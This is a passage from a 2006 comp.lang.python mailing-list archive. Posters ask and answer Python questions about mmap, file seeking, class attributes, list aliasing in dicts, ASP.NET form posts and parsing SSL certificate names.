dongle from Python and is there a cross-platform solution?"

Terry Jan Reedy





From sturlamolden at yahoo.no  Mon Oct 23 20:06:55 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 23 Oct 2006 17:06:55 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
Message-ID: <1161648415.830523.225520@k70g2000cwa.googlegroups.com>


myeates at jpl.nasa.gov wrote:

> Anyone ever done this? It looks like Python2.4 won't take a length arg

http://docs.python.org/lib/module-mmap.html

It seems that Python does take a length argument, but not an offset
argument (unlike the Windows' CreateFileMapping/MapViewOfFile and UNIX'
mmap), so you always map from the beginning of the file. Of course if
you have ever worked with memory mapping files in C, you will probably
have experienced that mapping a large file from beginning to end is a
major slowdown. And if the file is big enough, it does not even fit
inside the 32 bit memory space of your process. Thus you have to limit
the portion of the file that is mapped, using the offset and the length
arguments.

But the question remains whether Python's "mmap" qualifies as a "memory
mapping" at all. Memory mapping a file means that the file is "mapped"
into the process address space. So if you access a certain address
(using a pointer type in C), you will actually read from or write to
the file. On Windows, this mechanism is even used to access "files"
that does not live on the file system. E.g. if CreateFileMapping is
called with the file handle set to INVALID_HANDLE_VALUE, creates a file
mapping backed by the OS paging file. That is, you actually obtain a
shared memory segment e.g. usable for for inter-process communication.
How would you use Python's mmap for something like this?

I haven't looked at the source, but I'd be surprised if Python actually
maps the file into the process image when mmap is called. I believe
Python is not memory mapping at all; rather, it just opens a file in
the file system and uses fseek to move around. That is, you can use
slicing operators on Python's "memory mapped file object" as if it were
a list or a string, but it's not really memory mapping, it's just a
syntactical convinience. Because of this, you even need to manually
"flush" the memory mapping object. If you were talking to a real memory
mapped file, flushing would obviously not be required.

This probably means that your problem is irrelevant. Even if the file
is too large to fit inside a 32 bit process image, Python's memory
mapping would not be affected by this, as it is not memory mapping the
file when "mmap" is called.



From richardjones at optushome.com.au  Tue Oct 17 17:31:47 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Wed, 18 Oct 2006 07:31:47 +1000
Subject: Python Web Site?
References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
Message-ID: <45354bc3$0$32666$afc38c87@news.optusnet.com.au>

*% <"mike$#at^&nospam!%trausch(*%)us"> wrote:
> Is there a problem with the Python and wxPython web sites?  I cannot
> seem to get them up, and I am trying to find some documentation...

The machine hosting www.python.org rebooted in response to a power failure.


    Richard



From steve at holdenweb.com  Fri Oct 13 07:37:11 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 13 Oct 2006 12:37:11 +0100
Subject: OT: What's up with the starship?
In-Reply-To: <egndgg$hog$1@sea.gmane.org>
References: <egndgg$hog$1@sea.gmane.org>
Message-ID: <452F7A67.2010708@holdenweb.com>

Thomas Heller wrote:
> I cannot connect to starship.python.net: neither http, nor can I login interactively with ssl (and the host key seems to have changed as well).
> 
> Does anyone know more?
> 
Nope. I got a mailing list reminder as usual at the start of the month, 
but I can confirm that I can't log in with my SSH private key, and that 
the system fingerprint has changed. Maybe some crew member can tell us 
what gives.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From casevh at comcast.net  Fri Oct  6 18:12:49 2006
From: casevh at comcast.net (casevh at comcast.net)
Date: 6 Oct 2006 15:12:49 -0700
Subject: News on versions modules for Python-2.5?
In-Reply-To: <45269df8$0$25949$ba4acef3@news.orange.fr>
References: <45269df8$0$25949$ba4acef3@news.orange.fr>
Message-ID: <1160172769.799621.138780@i3g2000cwc.googlegroups.com>

> And who can confirm that these modules are independent of Python version?
>     Gmpy

I've compiled gmpy for Python 2.5. It is available at
http://home.comcast.net/~casevh/

> (tip: I am on windows, and I don't can/know compile any module)

casevh



From martinezfive at comcast.net  Tue Oct 10 17:12:57 2006
From: martinezfive at comcast.net (Frank Martinez)
Date: Tue, 10 Oct 2006 17:12:57 -0400
Subject: C++ to Python?
In-Reply-To: <7465b6170610101255i4569613nfb41424225d60446@mail.gmail.com>
References: <6110AB6F-D20C-4F12-9347-B7FB64930329@comcast.net>
	<7465b6170610101255i4569613nfb41424225d60446@mail.gmail.com>
Message-ID: <1B0B405F-56A9-4A41-B5C8-DA6E04248B1E@comcast.net>

Hi, Roman.
	Thanks.  I seem a bit confused.  Does Py++ actually convert the C++  
code to Python or does it just provide a wrapper to C++ code?

You say tomater, I zader matermorts. -- Coach Z, Homestarrunner.com



On Oct 10, 2006, at 3:55 PM, Roman Yakovenko wrote:

> On 10/10/06, Frank Martinez <martinezfive at comcast.net> wrote:
>> Hi, Everybody!
>>  Does anyone know of a cpp2py type application?  Without going  
>> into details,
>> I need to port a bunch of C++ code to Python.  Any such
>> converter/information would be helpful.
>>  Thanks.
>
> Take a look on Py++( http://language-binding.net/pyplusplus/ 
> pyplusplus.html )
> You are not going to regret.
> You don't have to believe: take a look on Python-Ogre project(
> http://python-ogre.python-hosting.com/ ) and amount of code that is
> needed
> to export Ogre engine to Python: http://tinyurl.com/mjuea
>
> -- 
> Roman Yakovenko
> C++ Python language binding
> http://www.language-binding.net/

-------------- next part --------------
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From anthra.norell at vtxmail.ch  Sat Oct 14 16:03:46 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Sat, 14 Oct 2006 22:03:46 +0200
Subject: File read-write mode: problem appending after reading
In-Reply-To: <1f7befae0610130057t82ce874h27cd7e7424efb371@mail.gmail.com>
References: <452F3F8C.2070706@vtxmail.ch>
	<1f7befae0610130057t82ce874h27cd7e7424efb371@mail.gmail.com>
Message-ID: <453142A2.4000404@vtxmail.ch>

Tim,
      Thanks a lot for your input. I seemed to notice that  everything 
works fine without setting the cursor as long as it stops before the end 
of the file. Is that also a coincidence that may not work?
Frederic


Tim Peters wrote:
> [Frederic Rentsch]
>   
>>    Working with read and write operations on a file I stumbled on a
>> complication when writes fail following a read to the end.
>>
>>  >>> f = file ('T:/z', 'r+b')
>>  >>> f.write ('abcdefg')
>>  >>> f.tell ()
>> 30L
>>  >>> f.seek (0)
>>  >>> f.read ()
>> 'abcdefg'
>>  >>> f.flush ()  # Calling or not makes no difference
>>  >>> f.write ('abcdefg')
>>     
>
> Nothing is defined about what happens at this point, and this is
> inherited from C.  In standard C, if you want to read following a
> write, or write following a read, on the same stream, you must perform
> a file-positioning operation (typically a seek) between them.
>
>   
>> Traceback (most recent call last):
>>   File "<pyshell#62>", line 1, in -toplevel-
>>     f.write ('abcdefg')
>> IOError: (0, 'Error')
>>     
>
> That's one possible result.  Since nothing is defined, any other
> outcome is also a possible result ;-)
>
>   
>> Flushing doesn't help.
>>     
>
> Right, and because flush() is not a file-positioning operation.
>
>   
>> I found two work arounds:
>>
>>  >>> f.read ()
>> 'abcdefg'
>>  >>> f.read ()   # Workaround 1: A second read (returning an empty string)
>> ''
>>  >>> f.write ('abcdefg')
>> (No error)
>>     
>
> Purely an accident; may or may not "work" the next time you try it, or
> on another platform; etc.
>
>   
>>  >>> f.read ()
>> 'abcdefg'
>>  >>> f.seek (f.tell ())   # Workaround 2: Setting the cursor (to where it is!)
>>     
>
> That's a correct approach.  f.seek(0, 1) (seek 0 bytes from the
> current position) is a little easier to spell.
>
>   
>>  >>> f.write ('abcdefg')
>> (No error)
>>
>> I found no problem with writing into the file. So it looks like it has
>> to do with the cursor which a read puts past the end, unless it is past
>> the end, in which case it goes back to the end. Is there a less kludgy
>> alternative to "fseek (ftell ())"?
>>     
>
> As above, you need to seek when switching from reading to writing, or
> from writing to reading.
>   



From bj_666 at gmx.net  Sat Oct 14 12:36:38 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Sat, 14 Oct 2006 18:36:38 +0200
Subject: Making a shorter shebang
References: <1160840251.769368.327090@m7g2000cwm.googlegroups.com>
	<1160840595.827897.150260@f16g2000cwb.googlegroups.com>
	<1160841240.145863.58940@m7g2000cwm.googlegroups.com>
	<1160841802.218222.60510@h48g2000cwc.googlegroups.com>
Message-ID: <pan.2006.10.14.16.36.36.716313@gmx.net>

In <1160841802.218222.60510 at h48g2000cwc.googlegroups.com>, veracon wrote:

> Actually, it appears to still be using the default binary
> (/usr/bin/python). Can I be sure it's actually reading the .profile
> file? I'm executing through regular CGI in Apache.

The `~/.profile` is executed when *you* log into your account.  CGI
scripts are executed by the web server which usually has its own user and
group,  `wwwrun` or something like that, and does not read the `.profile`
in your home directory.

Ciao,
	Marc 'BlackJack' Rintsch


From tomas at fancy.org  Thu Oct 12 14:42:10 2006
From: tomas at fancy.org (Tom Plunket)
Date: Thu, 12 Oct 2006 11:42:10 -0700
Subject: Is a list static when it's a class member?
References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>	<mailman.236.1160506522.11739.python-list@python.org>
	<63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com>
	<mailman.261.1160544191.11739.python-list@python.org>
Message-ID: <bu2ti2l7ddr5mr5p7f1l0vkiahukpd6btk@4ax.com>

Fredrik Lundh wrote:

> so what's the practical difference between
> 
>      def __init__(self, name):
> 	self.name = name
>          self.data = []
> 
> and
> 
>      def __init__(self, name):
>          self.name = name
>          self.data=[]

Ignoring nerd-extreme-pedantic-mode for this circumstance, you elided
the bits that were functionally different.

IOW, based on the OP's post, it appeared that C++ was infecting their
Python, and removing the class attributes entirely was likely what the
OP actually wanted.

>  > In Python, you don't define the instance members in the class scope
>  > like the OP has done:
> 
> the OP's approach works perfectly fine, as long as you understand that 
> class attributes are shared.

Obviously, as is "sticking a gun in your mouth is perfectly fine, as
long as you understand that pulling the trigger will yield a large
hole in the back of your skull."  My reading of the OP's post was that
shared attributes were not desired.

-tom!


From ardsrk at gmail.com  Sat Oct 21 04:09:05 2006
From: ardsrk at gmail.com (ArdPy)
Date: 21 Oct 2006 01:09:05 -0700
Subject: Python Source
Message-ID: <1161418145.383719.324390@i3g2000cwc.googlegroups.com>

I am not sure whether this group is the best place to post my thought.
I will ask neverthless:

Is it possible to hack through the code written by Guido van Rossum
that makes the python interpreter. If yes please let me know how to
begin. If its not then pardon me.



From sebastian_busch at gmx.net  Thu Oct 26 05:08:56 2006
From: sebastian_busch at gmx.net (Sebastian Busch)
Date: Thu, 26 Oct 2006 11:08:56 +0200
Subject: To remove some lines from a file
In-Reply-To: <umz7j4jdu.fsf@sbcglobal.net>
References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
	<ehnsht$ic1$1@news.lrz-muenchen.de>
	<mailman.1186.1161793835.11739.python-list@python.org>
	<ehpkqk$hs8$1@news.lrz-muenchen.de> <umz7j4jdu.fsf@sbcglobal.net>
Message-ID: <ehptv2$n5r$1@news.lrz-muenchen.de>

Chetan wrote:
> Sebastian Busch <sebastian_busch at gmx.net> writes:
> 
>> Steve Holden wrote:
>>> Sebastian Busch wrote:
>>>> umut.tabak at student.kuleuven.be wrote:
>>>>> ... I would like to remove two lines from a file. ...
>>>> ... grep -v ...
>>> ... show ...
>> grep -v "`grep -v "commentsymbol" yourfile | head -2`" yourfile
>> ...
> I don't have the original post to know exactly what is needed, but looks like
> something that can be done by a single sed script. 
> 
> -Chetan

Hey!

The task is:

"Remove the first two lines that don't begin with "@" from a file."


Actually, the grep-thing I offered will also delete copies of these two
lines that occur in another place. That should be no problem if the file
is something like

@comment
deleteme
deleteme
@comment
data: x-y-dy

However, if this is not the case, it cannot be done this way.
How would you do it with sed?

Best,
Sebastian.


From Benjamin.Barker at gmail.com  Sun Oct  8 07:05:33 2006
From: Benjamin.Barker at gmail.com (Ben)
Date: 8 Oct 2006 04:05:33 -0700
Subject: dictionary containing a list
In-Reply-To: <1160211465.070263.265340@i3g2000cwc.googlegroups.com>
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
	<1160172055.962140.180110@b28g2000cwb.googlegroups.com>
	<mailman.14.1160205491.11739.python-list@python.org>
	<1160211465.070263.265340@i3g2000cwc.googlegroups.com>
Message-ID: <1160305533.169641.266470@e3g2000cwe.googlegroups.com>

I think what you mean is that if you change your list, it is changed
somewhere in your dicrionary to. Lists are always copied as pointers,
except explicitly told other wise. So a = b = [] makes a and be the
same list, and a.append(1) makes b ->  [1].
So do something like mydict[mykey] = mylist[:] (Slicing gives a copy
of the list, not the pointer).
Hope this helps.

Moi
Dolf

Ah  -this is exactly what I was doing wrong -thaks very much! Aologies
also for not posting sooner, I have been away for a few days.

Thanks for all of your help,

Ben

On 6 Oc
John Machin wrote:
> Steve Holden wrote:
> > John Machin wrote:
> > > Ben wrote:
> > >
> > >>Hello...
> > >>
> > >>I have set up a dictionary into whose values I am putting a list. I
> > >>loop around and around filling my list each time with new values, then
> > >>dumping this list into the dictionary. Or so I thought...
> > >>
> > >>It would appear that what I am dumping into the dictionary value is
> > >>only a pointer to the original list, so after all my iterations all I
> > >>have is a dictionary whose every value is equal to that of the list the
> > >>final time I looped around :-(
> > >>
> > >>Is there a way to acheive what I was attempting ? I have done something
> > >>almost identical with classes  in a list before, and in that case a new
> > >>instance was created for each list entry...
> > >>
> > >>
> > >>I hope this makes some sense, and doesn't seem to head bangingly
> > >>simple...
> > >>
> > >
> > >
> > > Do you consult your physician over a video link while wearing a ninja
> > > costume down an unlit coal mine at midnight?
> > >
> > > Please consider the possibility that your description of what you think
> > > your code might be doing is not enough for diagnosis.
> > >
> > > You may need to supply:
> > > (1) a listing of your code
> > > (2) a small amount of input data
> > >    e.g. [(1, 'foo'), (42, 'bar'), (1, 'zot')]
> > > (3) the output you expect from that input:
> > >    e.g. {1: ['foo', 'zot'], 42: ['bar']}
> > >
> > One of the fascinating things about c.l.py is that sometimes a questin
> > will be posted that makes almost no sense to me, and somebody else will
> > casually read the OP's mind, home in on the issue and provide a useful
> > and relevant answer.
> >
> > In this case it seems transparent to me, though probably not to you,
> > that Ben's problem is rootd in the following behaviour, well-known in
> > python but frequently confusing to noobs:
> >
> >   >>> a = [1, 2, 3]
> >   >>> firstlist = a
> >   >>> a.append('another element')
> >   >>> firstlist
> > [1, 2, 3, 'another element']
> >   >>>
> >
>
> It's quite transparent to me that his symptom is caused by the one list
> being used throughout the exercise, instead of one per different dict
> key. What you have described is one possibility.
>
> Here's another possibility: Making the charitable assumption that he
> has an outer loop and an inner loop, maybe (as I think another poster
> has already suggested) all he needs to do is move "mylist = []" inside
> the outer loop. Note that he doesn't say explicitly whether the one
> list that he gets is the *correct* list for the last key, or whether
> it's the catenation of all the correct lists, or something else.
>
> Yet another: Noobs do all sorts of funny things. He could be operating
> on a "clean the bucket out after each use instead making a new one"
> paradigm:
>
> | >>> d= {}
> | >>> L = []
> | >>> L.append(1)
> | >>> L.append(2)
> | >>> d['a'] = L
> | >>> d
> | {'a': [1, 2]}
> | >>> del L[:]
> | >>> d
> | {'a': []}
> | >>> L.append(3)
> | >>> L.append(4)
> | >>> d['b'] = L
> | >>> d
> | {'a': [3, 4], 'b': [3, 4]}
> 
> Cheers,
> John



From fredrik at pythonware.com  Thu Oct 12 15:52:20 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 21:52:20 +0200
Subject: Is a list static when it's a class member?
In-Reply-To: <bu2ti2l7ddr5mr5p7f1l0vkiahukpd6btk@4ax.com>
References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>	<mailman.236.1160506522.11739.python-list@python.org>	<63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com>	<mailman.261.1160544191.11739.python-list@python.org>
	<bu2ti2l7ddr5mr5p7f1l0vkiahukpd6btk@4ax.com>
Message-ID: <egm6dl$l84$1@sea.gmane.org>

Tom Plunket wrote:

> Obviously, as is "sticking a gun in your mouth is perfectly fine, as
> long as you understand that pulling the trigger will yield a large
> hole in the back of your skull."

in my experience, the "you're not old enough to understand this" 
approach to teaching usually means that the teacher is immature,
not the student.  I prefer to explain how things work.  everyone
can understand how Python works.  it's pretty simple, actually.

</F>



From bernard.chhun at gmail.com  Wed Oct  4 11:33:12 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 4 Oct 2006 08:33:12 -0700
Subject: Making posts to an ASP.NET webform.
In-Reply-To: <mailman.1131.1159837304.10491.python-list@python.org>
References: <1159800922.942615.28120@i42g2000cwa.googlegroups.com>
	<452134c7$0$14008$edfadb0f@dread15.news.tele.dk>
	<1159805102.970972.59340@b28g2000cwb.googlegroups.com>
	<mailman.1131.1159837304.10491.python-list@python.org>
Message-ID: <1159975989.923434.50000@i42g2000cwa.googlegroups.com>

Gabriel Genellina wrote:
> At Monday 2/10/2006 13:05, Bernard wrote:
>
> > > > Has anyone tried what I'm doing? and if you tried how have you
> > > > succeeded getting the data back after the post action?
>
> Use a packet sniffer or something to look at an actual POST that
> works, this way you could see what's missing in your code.
>
>
> Gabriel Genellina
> Softlab SRL

Thanks for that suggestion Gabriel. It's really a great idea to see
what's going on behind the scene but it still doesn't work even though
the post made by my function has the same data as a real browser post.

here's the HTTP Header from my sniffer:
-------------------------------------------------------------
http://www.newportrealty.com/Search/Default.aspx?Area=WC

POST /Search/Default.aspx?Area=WC HTTP/1.1
Host: www.newportrealty.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.6)
Gecko/20060728 Firefox/1.5.0.6
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.newportrealty.com/Search/Default.aspx?Area=WC
Cookie: ASPSESSIONIDQQBTTDAT=JMBNNNNBNNJELLBBNCCDMNCK;
ASP.NET_SessionId=hzdjizvca2zid3f205s5kd45
Content-Type: application/x-www-form-urlencoded
Content-Length: 4649
__EVENTTARGET=dg_Result%3A_ctl1%3A_ctl1&__EVENTARGUMENT=&__VIEWSTATE=dDw0MD(...)
HTTP/1.x 200 OK
Cache-Control: private
Content-Length: 37519
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Date: Wed, 04 Oct 2006 15:15:37 GMT
-------------------------------------------------------------

and here's the output of the encoded data as well as the cookies in my
function:

-------------------------------------------------------------
cookies:
<Cookie ASP.NET_SessionId=lddb3iruopvpnjiar0dlytvi for
www.newportrealty.com/>
<Cookie ASPSESSIONIDQQBTTDAT=OMBNNNNBMLDDAIHNDHJGLFKP for
www.newportrealty.com/>

encoded post data:
__EVENTTARGET=dg_Result%3A_ctl14%3A_ctl2&__EVENTARGUMENT=&__VIEWSTATE=dDw0MDAyOTcw(...)
-------------------------------------------------------------

My function has already worked on other asp.net websites and I'm pretty
sure this would work out just fine. is there something I'm missing here?



From fredrik at pythonware.com  Sat Oct  7 13:37:37 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 07 Oct 2006 19:37:37 +0200
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160241982.216511.281950@m73g2000cwd.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>	<mailman.1223.1159934114.10491.python-list@python.org>	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>	<mailman.1.1160189272.11739.python-list@python.org>	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
Message-ID: <eg8ol2$nu$1@sea.gmane.org>

MonkeeSage wrote:

> True. But valid dictionary keys are exactly d.keys(). The has_key
> method is just sugar.

for what?  are you sure you're using "sugar" as it is usually used when 
talking about computer languages?

</F>



From donn at u.washington.edu  Tue Oct 24 12:59:03 2006
From: donn at u.washington.edu (Donn Cave)
Date: Tue, 24 Oct 2006 09:59:03 -0700
Subject: Obtaining SSL certificate info from SSL object - BUG?
References: <453D95EA.1020602@animats.com>
Message-ID: <donn-D8CFAE.09590324102006@gnus01.u.washington.edu>

In article <453D95EA.1020602 at animats.com>,
 John Nagle <nagle at animats.com> wrote:

>      The Python SSL object offers two methods from obtaining
> the info from an SSL certificate, "server()" and "issuer()".
> The actual values in the certificate are a series of name/value
> pairs in ASN.1 binary format.  But what "server()" and "issuer()"
> return are strings, with the pairs separated by "/".  The
> documentation at "http://docs.python.org/lib/ssl-objects.html"
> says "Returns a string containing the ASN.1 distinguished name identifying 
> the 
> server's certificate.
...
> "/O=VeriSign Trust Network/OU=VeriSign, Inc./OU=VeriSign International
> Server CA - Class 3/OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY 
> LTD.(c)97 
> VeriSign".
> 
> Note that
> 
>     "OU=Terms of use at www.verisign.com/rpa (c)00"
> 
> with a "/" in the middle of the value field.
...
> Is there a workaround for this?  Without rebuilding Python
> and becoming incompatible?

As a practical matter, I think it's fairly safe to assume
there will be no values that include / in a context like
really looks like that X.500 style distinguished name.

So if you parse out that string in those terms, and require
each of those key = value pairs to have reasonable values -
key has no embedded spaces, value has non-zero length - then
you should be OK.  Re-join any invalid component to its
predecessor's value.

   Donn Cave, donn at u.washington.edu


From tpochep at mail.ru  Fri Oct 20 07:57:37 2006
From: tpochep at mail.ru (tpochep at mail.ru)
Date: 20 Oct 2006 04:57:37 -0700
Subject: python under the hood
Message-ID: <1161345457.021410.306910@m73g2000cwd.googlegroups.com>

Hello.

Is there any good information about python's internals and semantic? I
mean "under the hood".
For example, I want to understant what do these strings

x = 10
y = 10
x = 20

mean (memory allocation for object? ctors? etc.)
Unfortynatly, I'm too lazy to read python's source code :) (and I
guess, it's not very easy :) )



From onurb at xiludom.gro  Tue Oct 31 14:36:16 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 31 Oct 2006 20:36:16 +0100
Subject: Why can't you assign to a list in a loop without enumerate?
In-Reply-To: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
Message-ID: <4547a5b1$0$7229$426a74cc@news.free.fr>

Danny Colligan wrote:
> In the following code snippet, I attempt to assign 10 to every index in
> the list a and fail because when I try to assign number to 10, number
> is a deep copy of the ith index (is this statement correct?).

It's quite easy to find out:

class Foo(object):
    def __init__(self, num):
        self.num = num
    def __repr__(self):
        return "foo %d at %d" % (self.num, id(self))

foos = [Foo(i) for i in range(10)]
print foos
=> [foo 0 at 47281508865040, foo 1 at 47281508865104, foo 2 at
47281508865168, foo 3 at 47281508865232, foo 4 at 47281508865296, foo 5
at 47281508865360, foo 6 at 47281508865424, foo 7 at 47281508865488, foo
8 at 47281508865552, foo 9 at 47281508865616]

for foo in foos:
    foo.num = foo.num * 2
print foos
=> [foo 0 at 47281508865040, foo 2 at 47281508865104, foo 4 at
47281508865168, foo 6 at 47281508865232, foo 8 at 47281508865296, foo 10
at 47281508865360, foo 12 at 47281508865424, foo 14 at 47281508865488,
foo 16 at 47281508865552, foo 18 at 47281508865616]

Seems like your statement is *not* correct.

>>>> a = [1,2,3,4,5]
>>>> for number in a:
> ...     number = 10

Note that you are *not* "assign(ing) 10 to every index in the list"
here. Rebinding the local name 'number' in each iteration only makes
this name refer to another object (implying of course loosing the
reference to the current list element). Then - on the following
iteration - the name 'number' is rebound to the next object in the list.

>>>> a
> [1, 2, 3, 4, 5]

>>> for foo in foos:
...     original = foo
...     foo = Foo(10)
...     print "original : %s - foo : %s" % (original, foo)
...
original : foo 0 at 47281508865040 - foo : foo 10 at 47281508864144
original : foo 2 at 47281508865104 - foo : foo 10 at 47281508864144
original : foo 4 at 47281508865168 - foo : foo 10 at 47281508864144
original : foo 6 at 47281508865232 - foo : foo 10 at 47281508864144
original : foo 8 at 47281508865296 - foo : foo 10 at 47281508864144
original : foo 10 at 47281508865360 - foo : foo 10 at 47281508864144
original : foo 12 at 47281508865424 - foo : foo 10 at 47281508864144
original : foo 14 at 47281508865488 - foo : foo 10 at 47281508864144
original : foo 16 at 47281508865552 - foo : foo 10 at 47281508864144
original : foo 18 at 47281508865616 - foo : foo 10 at 47281508864144

> So, I have to resort to using enumerate to assign to the list:

Yes. That's still far better than having to manually check for sequence
boundaries and track current index.

>>>> for i, number in enumerate(a):
> ...     a[i] = 10
> ...
>>>> a
> [10, 10, 10, 10, 10]

Just for the record: the notation 'a[x] = y' in fact calls
'a.__setitem__(x, y)'. It's really just calling a method that alters the
state of object a.

> My question is, what was the motivation for returning a deep copy of
> the value at the ith index inside a for loop instead of the value
> itself? 

Forget about values. Think objects.
>>> i = 10
>>> i.__class__
<type 'int'>
>>> dir(i)
['__abs__', '__add__', '__and__', '__class__', '__cmp__', '__coerce__',
'__delattr__', '__div__', '__divmod__', '__doc__', '__float__',
'__floordiv__', '__getattribute__', '__getnewargs__', '__hash__',
'__hex__', '__init__', '__int__', '__invert__', '__long__',
'__lshift__', '__mod__', '__mul__', '__neg__', '__new__', '__nonzero__',
'__oct__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__',
'__rdiv__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__',
'__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__',
'__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__',
'__rxor__', '__setattr__', '__str__', '__sub__', '__truediv__', '__xor__']
>>> i.__abs__()
10


> Also, is there any way to assign to a list in a for loop (with
> as little code as used above) without using enumerate?

What's the problem with enumerate() ?



-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From fredrik at pythonware.com  Wed Oct 25 01:46:27 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 07:46:27 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <eddc3$453eb1df$54d1d767$28881@news.chello.no>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>	<453E3370.9060008@kevin-walzer.com>
	<eddc3$453eb1df$54d1d767$28881@news.chello.no>
Message-ID: <ehmtnj$dud$1@sea.gmane.org>

David Boddie wrote:

>> commercial deployment is expensive; free deployment must be GPL;
> 
> Opinions differ on the first one of these.

even if you define "expensive" as "costs more money than the others" ?

</F>



From jwjw at zerny.invalid  Tue Oct  3 09:36:27 2006
From: jwjw at zerny.invalid (Bill Williams)
Date: Tue, 03 Oct 2006 09:36:27 -0400
Subject: Best way to handle large lists?
References: <prrUg.1662$We.477@trndny08>
Message-ID: <jwjw-E75E09.09362703102006@news.isp.giganews.com>

I don't know enough about Python internals, but the suggested solutions 
all seem to involve scanning bigList. Can this presumably linear 
operation be avoided by using dict or similar to find all occurrences of 
smallist items in biglist and then deleting those occurrences?

Bill Williams



In article <prrUg.1662$We.477 at trndny08>,
 Chaz Ginger <cginboston at hotmail.com> wrote:

> I have a system that has a few lists that are very large (thousands or
> tens of thousands of entries) and some that are rather small. Many times
> I have to produce the difference between a large list and a small one,
> without destroying the integrity of either list. I was wondering if
> anyone has any recommendations on how to do this and keep performance
> high? Is there a better way than
> 
> [ i for i in bigList if i not in smallList ]
> 
> Thanks.
> Chaz


From anthra.norell at vtxmail.ch  Tue Oct 31 12:39:04 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Tue, 31 Oct 2006 18:39:04 +0100
Subject: Where do nested functions live?
In-Reply-To: <Xns986D79E677842rtwfreenetREMOVEcouk@216.196.109.145>
References: <Xns986C693B37DFDrtwfreenetREMOVEcouk@216.196.109.145>	<mailman.1536.1162292996.11739.python-list@python.org>
	<Xns986D79E677842rtwfreenetREMOVEcouk@216.196.109.145>
Message-ID: <45478A38.1060602@vtxmail.ch>

Rob Williscroft wrote:
> Frederic Rentsch wrote in news:mailman.1536.1162292996.11739.python-
> list at python.org in comp.lang.python:
>
>   
>> Rob Williscroft wrote:
>>     
>>> Frederic Rentsch wrote in news:mailman.1428.1162113628.11739.python-
>>> list at python.org in comp.lang.python:
>>>
>>>   
>>>       
>
>   
>>> def whatever( new_ms ):
>>>   class namespace( object ):
>>>     pass
>>>   scope = namespace()
>>>
>>>   def inner():
>>>     scope.mseconds = new_ms - s * 1000       
>>>     m, scope.seconds = divmod (s, 60)
>>>     h, scope.minutes = divmod (m, 60)
>>>     d, scope.hours = divmod (h, 24)
>>>     scope.weeks, scope.days = divmod (d, 7)        
>>>
>>>   
>>>       
>> This is interesting. I am not too familiar with this way of using 
>> objects. Actually it isn't all that different from a list, because a 
>> list is also an object. But this way it's attribute names instead of 
>> list indexes which is certainly easier to work with. Very good!
>>
>>     
>
>   
>>> In short I think an "outer" keyword (or whatever it gets called)
>>> will just add another way of doing something I can already do,
>>> and potentially makes further refactoring harder.
>>>
>>>   
>>>       
>> Here I'm lost. What's the advantage of this? It looks more convoluted.
>>     
>
> I'll agree that having to explicitly define a namespace class first
> does add some convolution.
>
> But if you refer to having to prefix you "outer" variables with "scope."
> then this would be the same as claiming that the explict use of self is
> convoluted, which is a valid opinion, so fair enough, but I can't say 
> that I agree.
>
>   

I didn't mean to call into question. I didn't understand the advantage 
of the added complexity of your second example over the first.

> It should also be noted that although I have to declare and create a 
> scope object. My method doesn't require the attributes passed back from 
> the inner function be pre-declared, should I during coding realise
> that I need to return another attribute I just assign it in the inner
> function and use it in the outer function. I would count that as less
> convoluted, YMMV.
>   

That is certainly a very interesting aspect.
>  
>   
>> And speaking of convoluted, what about efficiency? There is much talk
>> of efficiency on this forum. I (crudely) benchmark your previous 
>> example approximately three times slower than a simple inner function 
>> taking and returning three parameters. It was actually the aspect of
>> increased efficiency that prompted me to play with the idea of 
